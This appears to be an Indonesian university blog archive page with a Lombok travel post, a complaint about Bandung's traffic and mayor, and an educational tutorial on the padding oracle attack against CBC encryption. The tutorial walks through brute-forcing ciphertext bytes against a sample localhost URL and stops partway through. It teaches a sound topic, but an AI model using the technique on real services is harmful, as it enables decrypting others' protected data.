if99.net

IF99 ITB

Archive for March, 2013

Berkunjung ke Kota Mataram di Pulau Lombok (Bagian 2): Ke Kampung Tradisionil Suku Sasak

without comments

Tulisan ini meneruskan seri tulisan pertama yang sempat terputus oleh waktu karena kesibukan saya.

Suku Sasak adalah suku mayoritas yang menghuni Pulau Lombok. Secara profil wajah dan postur tubuh, orang Sasak mirip dengan orang Bali, begitu juga logat bahasanya juga mirip, terutama ketika mengucapkan huruf “t” yang kedengarannya seperti “d”. Perbedaan orang Sasak dan orang Bali adalah dalam hal agamanya, orang Sasak beragama Islam sedangkan orang Bali beragama Hindu. Namun keduanya hidup berdampingan dengan damai di Pulau Lombok.

Menjelang waktu keberangkatan pesawat yang masih sekitar dua jam lagi, Ario membawa saya mengunjungi kampung tradisionil suku Sasak di Lombok Tengah yang jaraknya dari Bandara LIA sekitar lima kilometer. Butuh waktu sekitar lima belas menit dari Bandara ke kampung tradisionil ini. Kampung itu sekarang menjadi desa wisata dengan nama Desa Wisata Dusun Ende.

Papa nama kampung Sasak

Papa nama kampung Sasak

Gapura menuju kampung Sasak

Gapura menuju kampung Sasak

Di depan gerbang kampung Sasak, para pemuda Sasak yang kebanyakan memakai sarung menawarkan jasanya sebagai guide. Namun, karena saya hanya ingin sebentar saja untuk melihat-lihat, saya menolak secara halus tawaran itu.

Di bawah ini foto-foto suasana di dalam kampung tradisionil suku Sasak. Semua rumah terbuat dari bahan alam, atapnya dari daun-daun kering (kalau di Padang namanya atap rumbia). Mari ikuti jalan saya menapaki kampung Sasak yang tidak terlalu luas itu.

Nama dusen Ende. Satu rumah di belakangnya "merusak" pemandangan karena permanen dan beratap genteng.

Nama dusun Ende. Satu rumah di belakangnya “merusak” pemandangan karena permanen dan beratap genteng.

Rumah adat yang disebut blumbung, tempat menyimpan hasil panen padi.

Rumah adat yang disebut blumbung, tempat menyimpan hasil panen padi.

Rumah-rumah penduduk suku Sasak

Rumah-rumah penduduk suku Sasak

Rumah-rumah orang Sasak yang sepi. Pada kemana penghuninya?

Rumah-rumah orang Sasak yang sepi. Pada kemana penghuninya?

Satu hal yang menarik perhatian saya, tidak semua rumah di sana berlantai tanah. Ada juga yang lantainya terlihat dari jauh seperti semen, namun bukan semen dalam arti sebenarnya. Lantai itu dibuat dari campuran tanah dan kotoran kerbau yang kemudian mengeras, seperti foto di bawah ini.

Lantai rumah orang Sasak

Lantai rumah orang Sasak

Wanita Sasak sedang menenun kain tradisionil.

Wanita Sasak sedang menenun kain tradisionil.

Narsis dulu sebelum pulang

Narsis dulu sebelum pulang

Saya dan pria Sasak berfoto sebelum pamitan

Saya dan pria Sasak berfoto sebelum pamitan

Nah, begitu cerita laporan pandangan mata saya mengunjungi kampung Sasak. Satu pesan saya kalau anda ke sana, jangan lupa membeli souvenir buatan mereka yang dijual di pondok khusus di sana (tenunan, patung kecil, alat masak, dll). Memang harganya agak mahal, tapi niatnya membantu perekonomian warga. Tidak lupa untuk memberi tips uang buat pria Sasak yang menemani kita berkeliling (meskipun tidak diminta memandu, mereka tetap menjelaskan panjang lebar tentang kampung Sasak dan mengikuti kita berjalan).

Update: tulisan selanjutnya adalah Berkunjung ke Kota Mataram di Pulau Lombok (Bagian 3): Ayam Taliwang, Pelecing Kangkung, dan Sate Bulayak


Written by rinaldimunir

March 15th, 2013 at 11:34 pm

Posted in Cerita perjalanan

Bandung, Ada atau Tiada Walikota Sama Saja

without comments

Teman saya, seorang dosen di ITB, ketika kami sama-sama pulang dari sebuah acara di Jakarta, mengomel-ngomel melihat kemacetan parah di Jalan Terusan Pasteur. Ratusan kendaraan pada sore hari jam pulang kerja beradu cepat untuk keluar kota Bandung. Jalan di depan mal BTC nyaris tidak bergerak sama sekali. Kondisi seperti ini sudah berlangsung sejak lama, namun tetap saja tidak ada perubahan hingga kini. Teman saya mengomel, ini walikotanya kemana saja sih? Apa saja kerjanya? Ada atau tidak ada walikota sama saja, Bandung seperti tidak ada yang ngurus, katanya.

Kemacetan adalah salah satu masalah di kota Bandung. Puncak kemacetan bukan pada hari-hari kerja, tetapi malah pada hari Sabtu dan Minggu ketika turis lokal dari Jakarta menyerbu Bandung untuk ber-wik-en, berpelesir, makan-makan dan belanja-belanja. Kalau sudah datang hari Sabtu, banyak warga kota seperti saya malas keluar rumah, sebab mau ke mana-mana macet.

Seorang teman yang dulu lama tinggal di Bandung dan sekarang tinggal di Surabaya, ketika dia berkunjung ke Bandung untuk acara temu alumni, menceritakan kesannya tentang kota Bandung kini. Bandung sekarang makin semrawut ya, katanya, ya semrawut lalu lintasnya (banyak angkot yang ngetem seenaknya), ya semrawut pedagang kali limanya, ya semrawut papan reklamenya. Sudah semrawut, kumuh lagi. Beda banget dengan Surabaya, kata teman saya itu, Surabaya meskipun kotanya panas tetapi lebih teratur.

Iya juga sih, Bandung sekarang makin crowded dan semrawut saja. Bandung yang berhawa sejuk, banyak industri kreatif, kotanya anak muda, busananya yang modis dan trendi, jajanan yang enak, dan tempat yang nyaman untuk belajar (kuliah), menjadi daya tarik orang luar datang ke sana. Dengan perkembangan kota yang luar biasa seperti itu, tentu menejer kotanya (baca: walikota) harus orang yang luar biasa pula. Kalau hanya biasa-biasa saja, kurang responsif, tidak kreatif, tidak ada gebrakan yang signifikan, maka kesemrawutan Bandung akan semakin parah.

Mumpung sekarang mau ada Pilwalkot, saya mau titip pesan kepada calon walikota Bandung yang baru. Bisakah anda membuat Bandung ini nyaman, lebih teratur, masyarakatnya well-informed, punya kesadaran merawat kota, dan punya disiplin? Kalau ada yang punya konsep penataan yang jelas dan realistis untuk memenuhi harapan itu, saya mau dukung deh. Jangan lagi terulang seperti kata teman saya tadi, ada atau tiada walikota sama saja.


Written by rinaldimunir

March 14th, 2013 at 3:58 pm

Posted in Seputar Bandung

Padding Oracle Attack

without comments

oraclematrix

Apa itu padding oracle attack ? Banyak yang mengira ini pasti sejenis SQL injection atau exploit pada database Oracle. Sebenarnya padding oracle attack tidak ada hubungannya sama sekali dengan database oracle, ini adalah jenis serangan yang meng-interogasi ‘the oracle’ kemudian dengan matematika sederhana (operasi XOR) menggunakan jawaban ‘the oracle’ untuk mendekrip ciphertext.

Block Cipher vs Stream Cipher

Secara umum ada dua pendekatan bagaimana algoritma enkripsi dan dekripsi memproses data:

  • Block Cipher. Enkripsi dan dekripsi dilakukan terhadap satu blok plaintext dan ciphertext berukuran tertentu (contohnya blok berukuran 64 bit atau 128 bit). Dalam enkripsi block-cipher, bila data terdiri dari banyak blok, semua blok dienkrip/dekrip dengan kunci yang sama. Contoh algoritma enkripsi block-cipher adalah DES dan AES.

  • Stream-cipher. Data dianggap sebagai aliran bit/byte, proses enkrip dan dekrip dilakukan terhadap satu bit atau satu byte setiap waktu seperti pada aliran produksi barang melalui assembly line/conveyor belt di pabrik. Bila dalam block-cipher semua blok menggunakan kunci yang sama, dalam stream-cipher setiap bit/byte dienkrip/dekrip dengan kunci yang berbeda menggunakan aliran kunci (keystream) pseudo-random yang di-generate dari suatu kunci berukuran tertentu (40 bit-128 bit). Contoh algoritma enkripsi stream-cipher adalah RC4.

Mode Operasi Block-Cipher

Algoritma enkripsi block cipher seperti AES/DES sendiri sebenarnya hanya dirancang untuk melakukan enkripsi/dekripsi terhadap satu blok plaintext atau blok ciphretext saja. Contohnya AES, dirancang untuk mengubah plaintext berukuran 128 bit (dengan kunci berukuran 128/192/256 bit) menjadi ciphertext berukuran 128 bit juga.

Screen Shot 2013-03-12 at 7.00.58 AM

Bila hanya ada satu blok plaintext/ciphertext, maka enkripsi dan dekripsi dapat dilakukan secara langsung pada blok tersebut. Namun bila ciphertext/plaintextnya besar dan setelah dipotong-potong tersusun dalam lebih dari satu blok, tentu harus ada cara/prosedur untuk memproses blok-blok tersebut, prosedur ini disebut mode operasi. Dalam mode operasi dijelaskan bagaimana enkripsi/dekripsi dilakukan terhadap blok-blok plaintext/ciphertext tersebut, bagaimana hubungan antara satu blok dengan blok lainnya, blok manakah yang harus dienkrip/dekrip duluan dan sebagainya.

Beberapa contoh mode operasi adalah ECB dan CBC. Perlu diingat bahwa mode operasi bukanlah algoritma enkripsi, algoritma enkripsi seperti AES/DES dapat dioperasikan dalam banyak mode operasi yang berbeda seperti AES-CBC (AES dalam mode operasi CBC), AES-EBC (AES dalam mode operasi EBC) dan sebagainya. Jadi mode operasi lebih mirip protokol/prosedur untuk mengoperasikan suatu algoritma enkripsi tertentu.

Electronic Code Book (ECB) Mode

Pendekatan yang paling sederhana adalah dengan dengan meng-enkrip/dekrip setiap blok tersebut sendiri-sendiri, secara independen. Blok satu dan blok yang lain tidak ada hubungannya dan diproses sendiri-sendiri. Mode operasi yang seperti ini disebut sebagai mode ECB (electronic code book). Gambar di bawah ini memperlihatkan proses enkripsi dan dekripsi dalam mode ECB.

Screen Shot 2013-03-10 at 8.54.01 PM

Dalam gambar di atas terlihat bahwa masing-masing blok akan dienkrip/dekrip terpisah, tidak ada hubungan satu sama lain. Apa yang terjadi bila Plaintext 1 dan Plaintext 2 isinya sama ? Karena dalam algoritma block cipher semua blok menggunakan kunci yang sama, tentu saja bila plaintext blok 1 dan plaintext blok 2 identik akan menghasilkan ciphertext blok 1 dan ciphertext blok 2 yang juga identik. Ini adalah kelemahan mode ECB, bila ada blok-blok plaintext yang identik, maka ciphertextnya akan identik juga sehingga akan memperlihatkan pola yang mudah dilihat dalam ciphertext.

Screen Shot 2013-03-10 at 10.55.09 PM

Kelemahan mode EBC ini akan terlihat jelas ketika meng-enkrip dokumen/data yang memiliki banyak data yang sama seperti gambar yang biasanya memiliki banyak deretan pixel yang warnanya sama. Pada gambar di atas (gambar wikipedia), karena banyak area yang warnanya sama seperti latar putih, warna hitam dan kuning yang luas, membuat file gambar tersebut ketika dipotong-potong akan mempunyai banyak blok yang identik. Mode ECB bahkan tidak bisa menjamin confidentiality karena gambar pinguinnya masih terlihat jelas setelah dienkripsi.

Kelemahan ini adalah kelemahan mode operasi, bukan algoritma enkripsinya. Jadi sekuat apapun algoritma enkripsinya, bila dioperasikan dalam mode ECB, hasilnya juga akan mengandung kelemahan yang sama (blok plaintext identik menghasilkan blok ciphertext identik).

Cipher Block Chaining (CBC) Mode

Bila dalam mode ECB (electronic code book) setiap blok di-enkrip/dekrip sendiri-sendiri secara independen, dalam mode CBC (cipher block chaining), suatu blok dan blok lain saling terkait (chained). Saling terkait disini maksudnya adalah enkripsi dan dekripsi suatu blok data selalu melibatkan ciphertext (hasil enkripsi) blok sebelumnya.

Agar blok-blok plaintext yang identik tidak menghasilkan blok-blok ciphertext yang identik pula, mode CBC (cipher block chaining) mengaitkan (chaining) satu blok dengan blok ciphertext sebelumnya dan menggunakan random initialization vector (IV) sebagai ciphertext blok ke-0. Cara kerja mode CBC adalah seperti pada gambar di bawah ini.

Screen Shot 2013-03-08 at 9.45.53 AM

Setiap blok plaintext di-XOR dengan ciphertext hasil enkripsi blok plaintext sebelumnya baru kemudian hasil operasi XOR ini dienkrip untuk menghasilkan blok ciphertext. Begitu pula sebaliknya ketika dekripsi. Dekripsi yang dilakukan terhadap suatu blok ciphertext tidak langsung menghasilkan blok plaintext, hasil dekripsi tersebut harus di-XOR dulu dengan blok ciphertext sebelumnya untuk menghasilkan blok plaintext. Jadi enkripsi maupun dekripsi selalu melibatkan blok ciphertext sebelumnya.

Dalam bentuk notasi matematika, bisa dilihat di bawah ini:

Screen Shot 2013-03-10 at 6.54.29 PM

Variabel yang dipakai dalam formula di atas:
? = Notasi untuk eXclusive OR
P = Plaintext
C = Ciphertext
IV = Initialization Vector (boleh dianggap sebagai C0)
Ek = Enkripsi dengan kunci k
Dk = Dekripsi dengan kunci k
P1 = Plaintext blok ke-1
P2 = Plaintext blok ke-2
Pn = Plaintext block ke-n
C1 = Ciphertext block ke-1
C2 = Ciphertext block ke-2
Cn = Ciphertext block ke-n

IV (Initialization Vector)

Kalau dalam setiap enkripsi/dekripsi harus melibatkan ciphertext blok sebelumnya, bagaimana dengan enkripsi/dekripsi blok pertama ? Karena posisinya adalah blok pertama, maka tentu saja tidak ada ciphertext blok ke-0 (C0).

Karena tidak ada C0, maka diperlukan suatu data yang berfungsi sebagai C0, data ini disebut dengan IV. Dengan adanya IV, enkripsi/dekripsi blok pertama yang membutuhkan ciphertext blok sebelum pertama (yang sebenarnya tidak ada), bisa menggunakan IV sebagai (seolah-olah) ciphertext blok ke-0.

Pemilihan IV tidak boleh sembarangan, IV sebisa mungkin random dan unik, jangan menggunakan IV yang predictable dan berulang (IV yag sama dipakai lagi untuk kunci yang sama). IV sebenarnya tidak perlu dirahasiakan, karena IV bisa juga dianggap sebagai bagian dari ciphertext juga (C0), tapi kalau IV dirahasiakan memang akan menyulitkan attacker mendapatkan blok pertama.

Padding

Dalam block-cipher plaintext dan ciphertext harus dipotong-potong dan disusun dalam blok-blok data berukuran sama. Sebagai contoh, DES dan Blowfist menggunakan blok berukuran 64 bit, AES menggunakan blok berukuran 128 bit. Karena data harus masuk dalam blok berukuran sama, maka dibutuhkan padding byte sebagai pengganjal untuk menggenapi data agar pas dengan ukuran blok.

Aturan mengenai padding dijelaskan dalam standar PKCS#7 dan PKCS#5 (Public Key Cryptographic Standard). Padding dilakukan dengan mengisi byte bernilai N bila dibutuhkan padding sebanyak N byte. Sebagai contoh, bila dibutuhkan padding 3 byte, maka paddingnya berisi ’03 03 03′, bila dibutuhkan padding 5 byte, maka paddingnya berisi ’05 05 05 05 05′.

Beberapa contoh padding yang benar terlihat pada gambar di bawah ini.

Screen Shot 2013-03-11 at 3.20.40 PM

Mungkin ada yang melihat keanehan pada cara padding di atas. Bila datanya sudah berisi 8 byte ‘ABCDEFGH’ kenapa masih perlu padding? Bukankah padding hanya untuk data yang tidak genap 8 byte?

Dalam standar PKCS memang sudah diatur bahwa padding harus ditambahkan pada semua data, walaupun data tersebut sudah genap seukuran blok yang diperlukan. Jadi bila blok datanya adalah 8 byte, maka berapapun ukuran datanya, padding tetap harus ditambahkan, minimal 1 byte, maksimal 8 byte.

Byte padding ‘dummy’ ini perlu ditambahkan untuk menghindarkan kebingungan. Bayangkan bila aturan paddingnya tidak menambahkan padding pada blok yang sudah seukuran blok yang diperlukan. Bila urutan byte dalam blok adalah ’41 42 43 44 45 46 47 01′ seperti gambar di atas, sistem akan bingung menentukan apakah blok data tersebut adalah ‘ABCDEFG’ dan 01 byte padding, atau memang datanya adalah ‘ABCDEFG’+byte 01 (byte 01 adalah bagian dari data, bukan padding byte).

Beberapa contoh lain padding yang valid seperti pada gambar di bawah ini. Bila dalam satu blok 8 byte isinya adalah byte 01 semua, maka byte 01 terakhir dianggap sebagai padding byte, sehingga yang dianggap sebagai data adalah 7 byte saja. Begitu pula bila dalam satu blok, 5 byte terakhirnya bernilai 02, maka dua byte terakhir dianggap sebagai padding byte, sehingga yang dianggap data adalah 6 byte pertama.

Screen Shot 2013-03-11 at 4.20.22 PM

Invalid Padding

Padding oracle attack bekerja dengan mendeteksi respons dari server yang memberitahukan client apakah padding valid atau tidak. Perlu diingat bahwa pengecekan padding dilakukan setelah dekripsi selesai dilakukan.

Mendeteksi byte padding apakah valid atau tidak, dimulai dengan melihat byte terakhir pada blok terakhir kemudian baru melihat byte-byte sebelumnya tergantung isi dari byte terakhirnya. Sebagai contoh, beberapa kondisi yang menentukan padding pada blok berukuran 8 byte (64 bit) valid atau tidak valid antara lain :

  • Bila byte terakhir bernilai diluar range 01 – 08, maka padding pasti tidak valid
  • Bila byte terakhir bernilai 01, maka padding pasti valid
  • Bila byte terakhir bernilai 02, maka padding valid bila 1 byte sebelumnya juga 02
  • Bila byte terakhir bernilai 03, maka padding valid bila 2 byte sebelumnya juga 03
  • Bila byte terakhir bernilai 04, maka padding valid bila 3 byte sebelumnya juga 04
  • Bila byte terakhir bernilai 05, maka padding valid bila 4 byte sebelumnya juga 05
  • Bila byte terakhir bernilai 06, maka padding valid bila 5 byte sebelumnya juga 06
  • Bila byte terakhir bernilai 07, maka padding valid bila 6 byte sebelumnya juga 07
  • Bila byte terakhir bernilai 08, maka padding valid bila 7 byte sebelumnya juga 08

Beberapa contoh invalid padding terlihat pada gambar di bawah ini.

Screen Shot 2013-03-11 at 7.10.32 PM

Proses Enkripsi

Mari kita lihat lebih detil proses enkripsi suatu data. Dalam contoh ini kita akan melihat proses enkripsi plaintext ‘ABCDEFGHIJKLM’ dengan kunci ‘rahasia’ menggunakan DES dalam mode CBC. Dalam contoh ini IV yang digunakan adalah deretan byte (01 02 03 04 05 06 07 08).

Screen Shot 2013-03-12 at 2.58.09 PM

Karena panjang plaintext adalah 13 byte, maka padding yang dibutuhkan adalah 3 byte agar genap menjadi 2 blok berukuran 8 byte. Setelah ditambahkan padding, blok pertama berisi ‘ABCDEFGH’, blok kedua berisi ‘IJKLM’+03+03+03.

Perlu diingat! Pada saat enkripsi, padding ditambahkan pada plaintext. Pada saat dekripsi, plaintext hasil dekripsi akan diperiksa, apakah padding bytenya valid atau tidak.

Setelah terbentuk 2 blok, proses enkripsi bisa dimulai dari plaintext blok pertama (P1) diXOR dengan IV, kemudian hasilnya di-enkrip dan menjadi ciphertext blok pertama (C1). Plaintext blok kedua (P2) diXOR dengan ciphertext blok pertama (C1), kemudian hasilnya dienkrip menjadi ciphertext blok kedua (C2). Perhatikan prosesnya byte per byte dalam gambar di bawah ini.

Screen Shot 2013-03-12 at 3.39.58 PM

Proses Dekripsi

Setelah proses enkripsi selesai, sekarang kita juga akan melihat proses dekripsinya. C1 didekrip menjadi deretan byte ’40 40 40 40 40 40 40 40′ kemudian diXOR dengan IV sehingga menghasilkan plaintext blok 1 (P1). Berikutnya blok C2 didekrip menjadi deretan byte ’64 32 1B B8 0A AA 08 86′ kemudian diXOR dengan C1 sehingga menghasilkan plaintext blok 2 (P2).

Screen Shot 2013-03-12 at 4.04.25 PM

Karena kunci dan ciphertext yang di-dekrip benar, maka proses dekripsi pada gambar di atas menghasilkan plaintext yang benar. Namun bila ciphertext yang didekrip bukan ciphertext yang benar, atau kuncinya salah, maka proses dekripsi tetap akan dilakukan sesuai prosedur, namun hasilnya bukan plaintext semula, namun data-data byte tak beraturan (garbled text).

Perlu diingat. Proses dekripsi akan tetap dilakukan meskipun ciphertext atau kuncinya salah. Ciphertext dan kunci yang benar akan didekrip menjadi plaintext yang benar, namun ciphertext atau kunci yang salah akan didekrip menjadi plaintext yang salah (deretan byte tak beraturan, garbled text)

Validasi Padding

Rangkaian proses dekripsi tidak berhenti setelah dekripsi selesai. Setelah ciphertext di-dekrip, selanjutnya akan dilakukan pemisahan byte mana yang berupa data (plaintext) dan byte mana yang berupa padding byte.

Pemisahan data dan padding hanya bisa dilakukan bila hasil dekripsinya mengandung byte padding yang valid. Ingat bahwa hasil dekripsi belum tentu menghasilkan plaintext yang benar (bila ciphertext atau kunci salah, hasilnya juga salah), jadi ada kemungkinan hasil dekripsinya adalah data byte tak beraturan yang tentu saja byte paddingnya tidak valid.

Dalam contoh gambar di atas, karena ciphertext dan kuncinya benar, maka hasil dekripsinya juga menghasilkan plaintext yang benar dengan byte padding yang valid (rangkaian byte 03 03 03). Pada contoh di atas, karena byte paddingnya adalah ’03 03 03′, maka bisa dipisahkan antara plaintext data dan byte padding dengan cara membuang 3 byte terakhir, sisanya (‘ABCDEFGHIJKLM’) adalah plaintext data. Kalau disederhanakan gambar proses dekripsi di atas menjadi (warna hijau=blok 1, warna biru=blok 2):

Screen Shot 2013-03-12 at 4.52.42 PM

Namun bagaimana bila ciphertextnya salah? Mari kita lihat contoh ciphertext yang salah, dan kita lihat apa hasilnya bila ciphertext salah tersebut didekrip. Bagaimana bila ciphertext blok pertama diubah byte terakhirnya dari 0×85 menjadi 0×83.

Screen Shot 2013-03-12 at 5.02.11 PM

Walaupun ciphertextnya sudah diubah, proses dekripsi tetap berjalan seperti biasa karena algoritma enkripsi/dekripsi bekerja mengubah kumpulan bit berukuran satu blok, apapun isi inputnya, menjadi kumpulan bit lain berukuran satu blok juga.

Perhatikan bahwa byte terakhir plaintext bernilai 05, tapi 5 byte terakhir plaintext bukan berisi 05 sesuai standar padding PKCS, artinya plaintext tersebut mengandung kesalahan padding. Jadi algoritma dekripsi tetap akan mendekrip semua input yang masuk, apapun isi inputnya, walaupun nanti hasil dekripsinya tidak valid paddingnya.

Sekarang kita coba lagi dengan ciphertext lain, kali ini byte terakhir ciphertext blok pertama diubah menjadi byte 0×86. Mari kita lihat apa yang terjadi.

Screen Shot 2013-03-12 at 5.15.34 PM

Setelah didekrip ternyata byte terakhir hasil dekripsinya bernilai 00, artinya bukan padding byte yang valid juga (padding byte yang valid bernilai 01-08 untuk blok berukuran 64 bit).

Oke, mari kita coba sekali lagi untuk ciphertext lainnya. Kali ini byte terakhir ciphertext blok pertama diubah mejadi 0×87, mari kita lihat apa yang terjadi.

Screen Shot 2013-03-12 at 5.29.21 PM

Kali ini ternyata byte terakhir hasil dekripsinya bernilai 0×01. Karena byte terakhir bernilai 01, maka bisa dipastikan paddingnya valid tanpa perlu melihat byte-byte lain sebelumnya.

Malleability

Mari kita perhatikan sekali lagi perbedaan antara ciphertext yang asli dan yang sudah dimodifikasi di bawah ini.

Screen Shot 2013-03-14 at 9.33.26 PM

Sebelum diubah, padding byte plaintextnya adalah 03-03-03 sehingga yang dianggap sebagai data adalah ‘ABCDEFGHIJKLM’. Dengan mengubah ciphertextnya satu byte saja dari 0×85 menjadi 0×87, kini byte terakhir plaintextnya bukan lagi 0×03, berubah menjadi 0×01 sehingga yang dianggap data adalah ‘ABCDEFGHIJKLM’+03+03 (kini byte 03 dianggap data, bukan bagian dari padding).

Perhatikan bahwa ternyata dengan mengubah satu byte saja dari ciphertext, bisa menghasilkan plaintext yang sama-sama valid, namun isinya berbeda. Sifat ini disebut dengan malleability.

Untuk memahami bahayanya properti malleability ini, bayangkan ada man-in-the-middle mencegat suatu ciphertext, kemudian mengubah satu byte saja dari ciphertext tersebut sebelum meneruskan ke tujuan. Setelah tiba di tujuan, ciphertext yang sudah diubah tadi ketika didekrip menghasilkan pesan yang berbeda dengan yang dimaksud dalam pesan aslinya. Hal ini tentu berbahaya bila isi pesannya berubah dari “kirim uang 1 juta ke rekening 123″ berubah menjadi “kirim uang 1 juta ke rekening 124″.

The Oracle
oracleneo

Dalam padding oracle attack, yang dimaksud dengan Oracle disini tidak ada hubungannya sama sekali dengan SQL, dan database Oracle.

Oracle yang dimaksud adalah validation oracle, dimana kita bisa bertanya dan akan dijawab oleh oracle dengan jawaban ya atau tidak, benar atau salah, atau kondisi-kondisi lain. Terkadang oracle ini tidak menjawab secara verbal (blind-answer), mungkin hanya berupa perbedaan waktu (timing-attack), bila jawabannya benar, maka waktu memprosesnya lebih lama dibandingkan bila jawabannya salah.

Apapun dan bagaimanapun caranya merespons bila client bisa membedakan mana respons yang berarti valid padding, dan mana respons yang berarti invalid padding, artinya server itu telah menjadi ‘the oracle’.

Dalam web application, biasanya oracle menjawab dengan teks pada html “Error”, “Stacktrace”, “Invalid Padding Exception” atau pesan error sejenis. Cara lain menjawab adalah dengan membedakan status code HTTP, bila jawabannya salah, statusnya ’500 Internal Server Error’, bila benar statusnya ’200 OK’.

Cara kerja padding oracle attack adalah seperti pada gambar di bawah ini.

Screen Shot 2013-03-14 at 10.12.21 PM

Attacker melakukan brute force dengan mengirimkan banyak varian ciphertext untuk mendapatkan mana varian ciphertext yang menghasilkan valid padding. Ciphertext yang dikirim ke ‘the oracle’ dalam bentuk 2 blok, blok pertama selalu berubah-ubah ketika melakukan brute force untuk mencari varian blok ciphertext yang menghasilkan respons padding valid, sedangkan blok kedua adalah ciphertext yang ingin didekrip dan tidak berubah ketika melakukan brute force.

Perhatikan bahwa blok yang ingin didekrip diletakkan sebagai blok kedua dari ciphertext yang dikirim ke ‘the oracle’. Bila dalam ciphertext ada lebih dari satu blok ciphertext, kita bisa bebas memilih untuk mendekrip blok mana dulu, yang jelas caranya adalah dengan meletakkan blok ciphertext yang ingin didekrip sebagai blok kedua dari 2 blok ciphertext yang dikirim ke ‘the oracle’.

Lalu tepatnya bagaimana prosesnya, kenapa hanya dengan mengamati response valid atau invalid padding, kok bisa mendekrip ciphertext tanpa mengetahui kuncinya ? Agar lebih jelasnya saya akan jelaskan dengan contoh berikut.

Skenario Contoh

Suatu aplikasi web menyimpan encrypted data di client dalam parameter URL ‘crypted’. Seorang pelanggan warnet menemukan URL berikut dalam daftar history address bar komputer di warnet :

http://localhost:8888/kripto/thematrixoracle.php?crypted=2D7850F447A90B87123B36A038A8682F

Bila URL tersebut dibuka, ciphertext dikirim ke server dalam parameter crypted, kemudian server akan memberi respons:

  • ’500 Internal Server Error’ bila paddingnya tidak valid.
  • ’200 OK’ bila paddingnya valid.

Algoritma block cipher yang dipakai adalah DES berukuran 64 bit dalam mode CBC (apapun algoritma block-cipher yang dipakai tidaklah penting, padding oracle attack menyerang mode CBC apapun algoritma block-cipher yang dipakai). Dalam skenario ini source code yang digunakan di server sebagai the oracle adalah:

Screen Shot 2013-03-13 at 7.13.15 AM

Tanpa mengetahui kuncinya, hanya menggunakan jawaban dari the oracle, bagaimana cara si pelanggan warnet tadi untuk mendekrip isi parameter crypted ?

Mendapatkan byte terakhir P2

Sekarang saatnya melakukan serangan padding oracle. Kita akan mencoba mendekrip C2 satu byte per satu byte dimulai dari byte terakhir lalu maju sampai byte pertama.

Pertama yang harus dilakukan adalah memecah ciphertext yang ditemukan dari history browsing di atas, menjadi blok-blok. Karena panjang parameter crypted pada URL adalah 32 byte hexa string, artinya panjangnya adalah 16 byte, maka bisa diduga bahwa ini adalah block-cipher dengan panjang satu blok sebesar adalah 8 byte.

Berikutnya adalah memecah ciphertext menjadi blok. Setelah dipecah menjadi 2 blok, didapatkan C1 = ’2D7850F447A90B87′ dan C2= ’123B36A038A8682F’. Ini adalah blok C1 dan C2 yang asli ditemukan di URL dari browsing history.

Kita mulai dengan mendekrip blok terakhir dulu C2 (’123B36A038A8682F’). Seperti yang sudah dijelaskan sebelumnya, kita harus mengirim dua blok ciphertext ke ‘the oracle’ :

  1. Blok pertama adalah blok ciphertext custom yang dibuat attacker. Blok ini byte awalnya bisa berisi apapun (random atau null byte), yang penting adalah byte terakhir yang mempengaruhi padding harus dicari dengan cara brute force untuk membuat padding menjadi valid.
  2. Blok target yang akan didekrip (’123B36A038A8682F’). Blok ini tetap dalam setiap request karena blok inilah yang akan didekrip

Contoh dua blok cipher yang dikirim ke server adalah seperti di bawah ini.

Screen Shot 2013-03-14 at 3.49.37 PM

Dalam gambar di atas kita menggunakan deretan 7 null byte (byte 00) dan satu byte terakhir untuk brute force mulai dari 00-FF, sebagai ciphertext blok pertama. Sedangkan blok kedua tetap tidak berubah selama brute force karena ini adalah blok target yang akan didekrip.

Dua blok ciphertext pada gambar di atas digandeng kemudian dikirim ke server. Server sebagai ‘the oracle’ akan mendekrip 2 blok ciphertext tersebut dan memberikan response apakah menghasilkan plaintext dengan padding yang valid atau invalid.

Kita akan mulai mendekrip C2 dari byte terakhir, kemudian beranjak satu byte per satu byte sampai byte pertama C2. Karena yang dicari adalah byte terakhir P2 (hasil dekripsi C2), maka kita harus mencari byte terakhir ciphertext blok pertama yang membuat P2 menjadi bernilai 01 (valid padding). Situasinya tergambar seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 5.49.31 AM

Dalam gambar di atas, ada satu persamaan tapi dengan dua variabel yang tidak diketahui, A XOR B = 01, seharusnya persamaan ini tidak bisa diselesaikan. Tapi untungnya kita punya ‘the oracle’, dia akan membantu kita menyelesaikan persamaan tersebut. Bagaimanakah caranya?

Kita bisa menginterogasi ‘the oracle’ dengan mencoba semua kemungkinan B mulai dari 00-FF karena antara 00-FF pasti ada B yang membuat ‘A XOR B = 01′ menjadi benar. Kita bisa bertanya pada ‘the oracle’ pertanyaan-pertanyaan berikut:

  1. Apakah A XOR 00 = 01 ?
  2. Apakah A XOR 01 = 01 ?
  3. Apakah A XOR 02 = 01 ?
  4. Apakah A XOR 03 = 01 ?
  5. Apakah A XOR 04 = 01 ?
  6. Apakah A XOR 05 = 01 ? dst

Bila ‘the oracle’ menjawab dengan ‘invalid padding’, artinya jawaban pertanyaan di atas adalah ‘tidak’ dan kita harus mengajukan pertanyaan dengan byte berikutnya sampai FF. Sebaliknya bila the oracle menjawab dengan ‘valid padding’, artinya jawaban pertanyaan di atas adalah ‘ya’ dan kita sudah berhasil menemukan B.

Brute Force Byte Terakhir

Agar lebih jelas mari kita perhatikan lebih dalam lagi proses brute force untuk mendapatkan byte terakhir C1 yang membuat byte terakhir P2 menjadi 01 sehingga paddingnya valid.

Screen Shot 2013-03-14 at 10.47.22 PM

Dalam gambar di atas terlihat client mengirim 3 varian ciphertext. Pada varian pertama, byte terakhir blok ciphertext pertama adalah 00, setelah mendekrip ciphertext ini, ‘the oracle’ pun menjawab dengan ‘invalid padding’. Ketika mengirimkan ciphertext ini, sebenarnya kita sedang menginterogasi ‘the oracle’ dengan pertanyaan ‘Apakah A XOR 00 = 01 ?’, dan ternyata jawabannya adalah ‘tidak’ sehingga kita harus mencoba dengan pertanyaan lain.

Client tidak tahu hasil dekripsi ciphertext yang dia kirim menjadi apa. Client hanya bisa menduga-duga berdasarkan response dari ‘the oracle’. Karena responsnya adalah invalid padding, client menduga dan yakin bahwa byte terakhirnya pasti bukan 01. Walaupun client tidak tahu hasil dekripsinya apa, tapi client tahu bahwa byte terakhirnya pasti bukan 01, information-leak sekecil itu saja sudah cukup untuk mendekrip ciphertext tanpa mengetahui kuncinya.

